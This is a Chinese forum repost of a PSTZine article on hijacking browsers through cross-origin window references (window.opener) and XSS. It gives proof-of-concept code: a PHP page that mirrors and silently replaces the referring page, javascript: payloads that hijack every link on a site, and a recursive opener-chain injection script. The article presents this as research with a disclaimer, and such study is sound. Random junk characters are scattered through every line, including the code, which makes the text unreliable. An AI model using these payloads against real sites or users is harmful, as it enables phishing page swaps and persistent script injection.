找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1916|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
0 f$ [& N3 k4 K( _. j: x  [' t# }$ \+ ~, s ; w# Z: m$ q; z
                       Issue 0x03, Phile #0x05 of 0x07
0 X; S" p8 B/ Z
6 b/ d; C( c6 j2 P5 `$ M* {! C: d7 s; O
|=---------------------------------------------------------------------------=|) f* B& |+ f" [
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
* m9 ^! [0 k% [( q|=---------------------------------------------------------------------------=|
- O+ y! A4 }- @" l5 O* G# k. U1 C|=---------------------------------------------------------------------------=|" U5 c! {$ X6 f. q& ]
|=------------------------=[      By rayh4c     ]=---------------------------=|! x. S( y( h: N" x
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
* K0 l7 l1 ~. C# l% v|=---------------------------------------------------------------------------=|& l% B: Q7 X5 J

/ W! ?# s- A" K5 _0 O1 A+ D/ B6 z3 O* `4 J
[目录]
% |' x2 P5 `) Z4 ~- R
! j8 x0 V+ s8 \$ ~5 d1 ?1 t1. 前言, d2 w1 Y7 ]( O8 B' g4 \1 j
2. 同源策略简叙
/ h& C+ o/ I. R" B% j3. 理解window对象的同源策略
  @: j7 N( Z% k4. 窗口引用功能中的同源策略漏洞( o7 F% Q! Z+ g: |7 ~
  4.1 父窗口引用子窗口的同源策略问题4 j6 Q) ?7 v7 ~! c* e3 r+ r
  4.2 子窗口引用父窗口的同源策略问题8 y( w/ K8 V, @0 f
5. 利用窗口引用漏洞劫持浏览器
5 B5 \6 o, w+ ?  A6. 利用XSS漏洞劫持浏览器
- W) W0 d+ r! p+ A" w: g) \$ t  6.1 正向跨窗口劫持  {) ]# ~) o/ k3 _: p
  6.2 反向跨窗口劫持
$ J# Z# G9 |  T. G  6.3 极度危险的跨框架窗口引用劫持: `6 }1 b! y0 }5 @4 L1 Q3 b7 y5 A
  6.4 极度危险的正反向跨窗口递归劫持. G  M. n. m, S7 h
  6.5 完全控制浏览器4 K% i# m( m- B5 R: F+ S: B' F! O
7. 后记- D$ E/ `3 b$ g/ j! T$ E9 b$ H1 L
8. 参考; N9 u/ K6 @! \& M
; o5 b* c  y) P9 p! A& v$ Z: N  W8 e
7 M" k6 q) A& H" r% V5 z
一、前言
8 ?5 a" f; f! }/ r0 X; P4 s  ^7 ?, U, {% k0 G" G% r
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 G4 Z6 D6 J( @  J/ U+ h0 u友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
: C8 a  v, C% o$ y# w3 i2 n劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被% w( }3 A$ n) i- N! u2 l7 F
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
* b2 @$ Q- q" ^' @' p% \- k4 I9 B1 V" g( g  t( P0 e

+ N( T3 `) D' c- S% I( g: M0 b7 q0 _二、同源策略简叙) ~9 M3 Y- k4 C6 I& j/ l3 X
8 K0 l' m" Q" w6 Q- [
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以, w# G2 x2 K2 }
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# U. ?+ k7 e+ q4 M8 H% ]7 \/ }曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
* i  S0 ~) I0 U" P8 K5 h. ?马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个7 j% [. J9 B) i1 j  Z
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
+ |# r0 s6 v! n; w! q. P) O6 n( C, \

( H$ I9 ]8 o7 B( V& R# n/ |6 }三、理解window对象的同源策略; I( m( ~; J) {9 ?! j4 }- s6 E
# C# u" U( V3 y# B
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
7 S0 z# e5 W" A) v5 i+ W象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
( S% M- s3 g8 Q9 Q/ w$ O& J( S
: o' R5 ?6 p; T: N! q# b--code-------------------------------------------------------------------------+ S' y' c# n7 q3 b6 t
<script language="javascript">! ^+ v6 w1 p- b& J- a+ N3 _8 m
for(p in window) document.write(p+"<br>");
% u1 L+ e# p" k& y: B/ d</script>
" F$ d( u+ h2 y3 z% t-------------------------------------------------------------------------------, D, m  ^+ v0 {1 r, Q
7 q' v0 d* T; S6 L+ {. H6 Z
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
9 B$ N" k& O8 h" v# y0 O1 \- u& q$ z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
. Q7 D- V( U0 L4 J8 t0 b' n. ?这些属性和方法就必须遵循同源策略。
7 Z; e' g9 z" q) V( U) C7 c9 I! g% x' w2 x* @9 L1 G4 D
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那( I/ O; f/ Y6 s
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
. |1 t" f( {7 o的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这1 r2 x. U- \7 U/ m3 \
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: l/ F4 t  a0 `. d
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location8 V( ]! t5 }+ X0 G6 x8 L1 j& t; I. Q
属性并没有被拒绝访问。# s0 c+ Q) s8 W: g0 b
9 [: D5 v6 E( b9 [# u0 ?
--demo.html--------------------------------------------------------------------
) u# X7 A2 u6 \8 q2 v' U: a1 w<script language="javascript">   % y3 L5 n# O' l: o
function allPrpos(obj) {      0 G: s3 q3 U: c/ w
      var props = "<table><tr><td>名称</td><td>值</td>";           
5 ^( j# P4 [1 E( A      for(var p in obj){         
& i0 X( G$ |9 N" y2 u            if(typeof(obj[p])=="function"){   ) g0 B% k' m4 m) M# x
                   obj[p]();   8 r2 Y9 N* [7 Q, Q
             }else{                     
7 W- ?0 S; P5 g  A' r! l0 {                  try   6 s# u& W1 F7 p/ H$ s
                   {   6 r  C  L( H. D0 H# a
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   ; G: |5 v+ Z  u, C0 _, e- |
                   }   4 y1 ]3 c: h: G
                  catch (ex)   / C6 Z8 a- w9 p/ q$ z
                   {   . i1 ~4 n7 R' y! t
                  
  e  `$ j# v* {2 v3 k. C                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   $ }3 l- N% Q& R- A: w
                   }   
9 @) f1 J  @' a3 E                       ; G3 B7 I% C6 e, K" f( i
             }   
1 e% I0 c4 `/ W6 J6 A- j5 p       }   
" ~3 O5 f2 a% A0 g5 h+ o' ~' h  d   
2 V5 W* v  {- u! V7 k& D       document.write(props+"</table>");   
3 u* A1 B+ q7 s4 P7 Z! o: ?}   
( q: b9 k4 l4 L& p/ n+ |0 H0 l   ( I" \9 p, d8 g1 U1 ]4 H( g
function createWin() {
% O9 W4 W% L7 w% h, I& h% A3 B" K        newWin = window.open ("http://www.google.com");  ' g  {8 j& t2 M4 r; [7 D/ n' e: f
        setTimeout(function(){allPrpos(newWin)},2000); : q; R* x4 V5 \+ t1 c- M
}
4 ]; U$ Y8 h* A, Y' x$ Z; W- G/ z+ ]1 G1 r
</script>
- {8 \2 J! P4 R8 z! h( @
$ [' q% u- F( n<button onclick='createWin()'>创建一个非同源子窗口测试</button>3 y2 N. ^/ h) B) d
-------------------------------------------------------------------------------
  {8 R0 f* r( B5 h% r/ D; E  Y" d
/ q8 G7 d( D) y. s" ?  [0 [/ q6 o" m7 e9 t0 m% [3 a/ [& D
四、窗口引用功能中的同源策略漏洞
" B8 J$ D* v4 Q+ M  m
; l- l; z% v+ \1 q, p5 n0 n6 @4.1 父窗口引用子窗口的同源策略问题" S; _3 i9 u* \3 a- o4 `# k

$ Z# i9 E, N4 i; a    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
  [, h& q4 _5 ^& O% Z5 y但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道) P) r% B4 t6 j1 W+ D* ]6 w) p
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进# o$ b; t* L6 u6 `$ g. A, [! I
行测试,会发现父窗口可以控制非同源子窗口location属性值。5 P7 z* j4 ~6 w1 n1 f, D
; P/ W# F6 J8 @. F5 I+ L8 }4 V9 g' i
--vul1.html--------------------------------------------------------------------* T$ q# ~4 B1 D
<script language="javascript"> 4 c2 `  b0 r) F8 g% c* T" ^
function createWin() {  
* ~. k* f1 \! x6 ^; ?        newWin = window.open ("http://www.google.com");  
& ?1 g6 X, E8 C2 I6 G        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); / k/ B- L- S) N& }- R  K, `  U1 l
}
3 g( i& e( d4 G</script>* k- b4 O- F& y: u% U1 g6 O" e# c% \

2 m! B8 ^2 L% X1 u3 \5 D& n# y, O<button onclick='createWin()'>创建一个非同源子窗口测试</button>
" [9 {$ a7 M* `  k# g-------------------------------------------------------------------------------
) q: O& {5 t% n1 d. d0 e; W% {; ^! ~# Z+ e. H2 P+ ?

" v# w" V% n& h) h9 F9 f4 I' j. a4.2 子窗口引用父窗口的同源策略问题+ Q+ p* m+ J( N: x/ @- }
) C2 b# m7 P9 P4 g0 H: }5 ]' V3 J
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
0 a5 |! s6 X- O/ R# @+ u+ d用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们/ {$ E' v8 Z3 b2 \3 c  f
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定( [& Z4 H* I$ ?3 q; X5 |
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
9 s2 u0 d4 x7 @8 h
; }( x9 W% U/ Y5 z' o! R0 j9 S--code-------------------------------------------------------------------------
$ V! f; ^0 C! L9 w: I8 V9 D; Q% q% @" A9 F  q, O  Z
javascript:window.opener.location = "http://www.80sec.com";void(0);
" L3 c: }! H" Y% F3 @
- D! n2 S% l, @( e-------------------------------------------------------------------------------
- ]4 V& p% y$ D" O" O- K
# E7 z% b( J, f. @6 ]
7 @3 O. \" Y( e5 N( V! @6 ~" K五、利用窗口引用漏洞劫持浏览器4 s& N7 o' G% s) W- h

# v% |: q1 B+ g% ~: e    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
1 n1 L: n: V. W9 ?2 S. j6 Q2 J/ f窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" S( V1 B8 w  V; K2 Z% M
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
7 |' I) O) h1 u+ `" K/ t' z' S; q* B& J+ d
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* n: T/ \- ]7 a; c$ W  F* ?生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
" O3 A8 L# L4 X6 O, d: p者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
6 W. E' {. s! A7 z后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下7 x. e' h3 Y2 _* h4 J
会产生什么可怕的后果。  S% ~/ \  Z% W$ S

) O" j8 g/ ?$ [: t2 D4 B    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我! I$ T& H$ J# W  \: |( N" J0 h
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php8 `' j0 G( D" V6 j3 D
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
, t4 |9 W, Z# E6 A9 m0 P候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
% x2 ]% r! I, j6 v/ a+ G+ v以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 ]* F, A1 {! w2 i) w9 l' f

* n$ F: B0 a  i' F) a2 F# S8 Z0 [--hjk_ref.php------------------------------------------------------------------
) G' Y, Y* l2 ]2 N% v  ^<?php8 b# W( H  ?1 C& B4 v
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
  a. n0 U) |" l$Url_Mirror = $_SERVER["HTTP_REFERER"];
9 b/ c# O2 |: i4 K% X+ M} ) ~: M! ]6 V1 g0 I6 w& ?/ D
if(isset ($_GET['ref'])) {5 ~0 k2 b! f: S; `, ]/ s
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
9 E6 y! C+ i! H; l- a. p, d7 t+ q1 z}
) l( o7 V& g. x* i6 ~?>
! ~- @2 o9 F. e6 b  g
/ _- S7 G/ e% j) _<script language="javascript">
3 v; o# I) j- v' z* BsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         0 b0 h- t0 @; b, i
</script>! t  V' b* o9 Z( z
-------------------------------------------------------------------------------
5 [% a9 c4 @) c# b8 G; D5 j6 L3 k2 h0 T2 r
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 Q% h0 E; I. ?$ a2 B: B5 x7 Q
2 S( s4 ^6 r# w( B2 h# O' p% z7 R2 A$ h7 G  ~
六、利用XSS漏洞劫持浏览器
* @/ r( g4 r5 m1 S* h7 h$ V0 \6 I+ f0 U" n
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
! E# i# n2 B8 |) |持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
* H  N0 d4 a" F: yXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起1 l0 \/ C8 D  s7 W' e
讨论跨站师的终极技巧:3 T: m$ L' z3 D! W$ O. g

4 _6 @* X7 N- @1 R3 }" \
" t" t0 ]$ E, H2 a6.1 正向跨窗口劫持- A6 Y% Y4 m1 F" i
9 _. a% P5 |5 b* z1 |
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
- i: Y' F' L' x* u; k5 M! x2 h主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
7 j( O3 ]8 H% I7 v接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话7 i- n* }. `8 {! B& M+ m1 s5 {
框脚本。
: ?- H& i% _- u* ?+ l
2 H  p" ?  s$ W4 ^--hijack_open.js---------------------------------------------------------------; P  s, I  @5 ?- _3 C
2 x5 _$ N. J+ |; G% \: \4 J- B$ \
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
: I5 ?9 J/ h2 M2 \& u" X9 v$ X7 P  Y* v9 O6 U
-------------------------------------------------------------------------------
, p- E$ V8 _( w* W) U3 `- `0 U
& _9 H* S7 n4 j3 F# ^+ z4 ^$ @9 B* y0 e/ c+ Q/ q: S
6.2 反向跨窗口劫持# Y2 v( I- ^3 c  x; v+ d  f, U

: B, S% ^4 Z% A9 t  Y. e    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代3 V5 Q' a6 S; v8 M! i9 u
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话5 J# R7 ~: J0 N9 I( c& [
框脚本。
; _# d9 E% G% N" Y" h: i
1 E# `0 K& w& B--hijack_opener.js-------------------------------------------------------------
# g' @9 z) L' \, I7 _5 q
5 q+ w+ ~; ^% W) Kjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);  b, [4 n# Z. }4 h$ B( C- N# ?

7 l& q* ^: G7 C$ B-------------------------------------------------------------------------------
: Q6 B% x; T1 f2 Z" ^" ?% W$ b0 i$ L/ ]

* [0 U! K" Y1 A, L8 M. C6.3 极度危险的跨框架窗口引用劫持. e7 E$ ^4 U' k' ?6 R% \% {( u

3 T4 s6 S4 a* ?  y- X5 d    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞7 S  x# i* n( {2 G# Q. s8 _
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
. ]# r% p3 H) B适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
9 u; H0 t9 \+ [" u; x非持久型的XSS,如下:% o/ t) H4 i4 r6 F) T3 s) Z; Y1 u) w

7 j" {' B) \3 L3 n: q. w/ [$ |<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
8 U  i; P2 m, \' c
- [; t/ }. Y: e    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口6 D( _$ _& f, h0 j8 {
注入脚本。
6 |: N2 T% T; z, [: _* D
- M+ q& ^5 \3 p3 _/ A--hijack_frame_opener.js-------------------------------------------------------
% c1 V0 H0 u; b* c! C<script>
" t1 l0 i+ |( @6 Q: }) `window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
5 D$ L- o- y+ [9 a; H2 f: C</script># V- [) R; q! C- R3 Y1 x) Z( N6 x
-------------------------------------------------------------------------------' h! d- e) O8 Q2 V  b7 N0 L' l
5 o/ y; P0 Y, o2 ?! q

1 [" |" Y8 V  B# ~6.4 极度危险的正反向跨窗口递归劫持
) p+ M3 A  Z" d" l6 x, H6 B
. q" J( P% A5 o$ F7 T  u6 S9 n    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
4 }4 y# l1 d  M2 G3 e& `的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过' j- O5 `) A+ L. Q4 Y1 n
异常处理规避之间跨域页面的访问异常,代码如下:8 v! T4 l. G! u' @% [. N6 t

  Z) e# e% x4 D9 Y--code-------------------------------------------------------------------------
4 ?! M# j- }2 y
8 q" @1 X6 ]9 U  z; D+ _' Gjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
5 ~& F; A* {) G% e1 _5 W9 Z* M" Q* k
-------------------------------------------------------------------------------8 ^7 r1 w8 B/ \) K6 Y# S2 y
; z' f2 }& {* o( p9 |6 P$ {1 X
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
5 T9 F2 ?) Z2 E. i- B9 ]' O1 g. ~* V以劫持B域之前的A域页面,从而实现“隔空打击”。
  f7 Y/ L1 p3 p8 w5 N: f$ E2 a3 D" O7 Y# R; d: b# _
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
* k2 j9 O0 r; ^8 n& G, B: K执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
1 Q6 [7 T2 S. r9 e3 Z" N2 Q) D; |5 Q8 w, u
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。% d  u0 d( V5 B- f* q

& \8 `3 j1 W/ H+ K1 |! _0 h, s( o3 o  o. e( I9 r4 i" x5 q9 d
6.5 完全控制浏览器
$ X# _5 A  E, \4 W: B7 [7 D1 G. t$ A0 D1 s7 z5 f' O
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 v# q  b; I$ a: v是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
! [* W" C: u, z7 m9 @  @- E& g漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失7 i" `: E  M( _
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再; a0 X8 P4 F) A, R- S9 ^
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 F, h3 S& |( o: b
师的终极目标 - 完全控制浏览器。
1 W* \. R0 @/ k8 R# W" s* b3 W& w' v
2 g% y  t( w9 }! A6 q
七、后记# o6 j; r: D3 g& `- R  C
, M, A% C- s" R( [
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
! t3 d2 B$ \8 R. F/ W与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
( e, d; q/ a3 H$ o" Y过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。1 b4 c8 T3 c( D& w7 b& A  j- m
& h# n: B5 q4 h7 Y, {2 @

5 X  C4 u+ p6 ?" c, }5 m八、参考) C* B* O  L8 W) d

% e* P# F, j  V% a$ L$ F1. http://en.wikipedia.org/wiki/Same_origin_policy* n- k1 Q  ~/ |( \% E( c/ h
2. http://code.google.com/p/browser ... licy_for_DOM_access
5 j3 ?0 l) p1 |4 B8 `6 b4 J: P3. http://www.w3.org/TR/Window/2 ~+ N' L. X' p# c2 p5 t  K& F
4. http://www.80sec.com/release/browser-hijacking.txt
/ r9 T1 i# j( j5. http://www.80sec.com/all-browser-security-alert.html# j! P: B: x  A% H2 L+ S
6. http://www.80sec.com/ms08-058-attacks-google.html
% M/ a; C" r' F* q$ f2 Q) Z( j2 n. m/ N% n! d9 }, p
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表